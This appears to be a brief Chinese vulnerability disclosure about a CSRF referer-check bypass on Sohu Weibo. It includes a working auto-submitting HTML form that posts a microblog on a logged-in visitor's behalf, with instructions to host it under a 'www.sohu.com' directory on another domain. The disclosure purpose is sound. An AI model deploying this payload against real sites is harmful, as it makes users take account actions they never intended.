搜狐微博csrf检查referer存在问题
可用http://www.a.com/www.sohu.com/来绕过防御
新建html
<body>
<form action="http://t.sohu.com/twAction/insertTwitter" method="POST">
<input type=hidden name="msg" value="hello everybody">
</form>
<script>
document.forms[0].submit();
</script>
</body>
在网站新建一个www.sohu.com目录 把上面这个html丢在里面
例子
http://qaz.me/www.sohu.com/csrf.html
微博登录状态下访问此页面成功发表微博
修复方案:
referer逻辑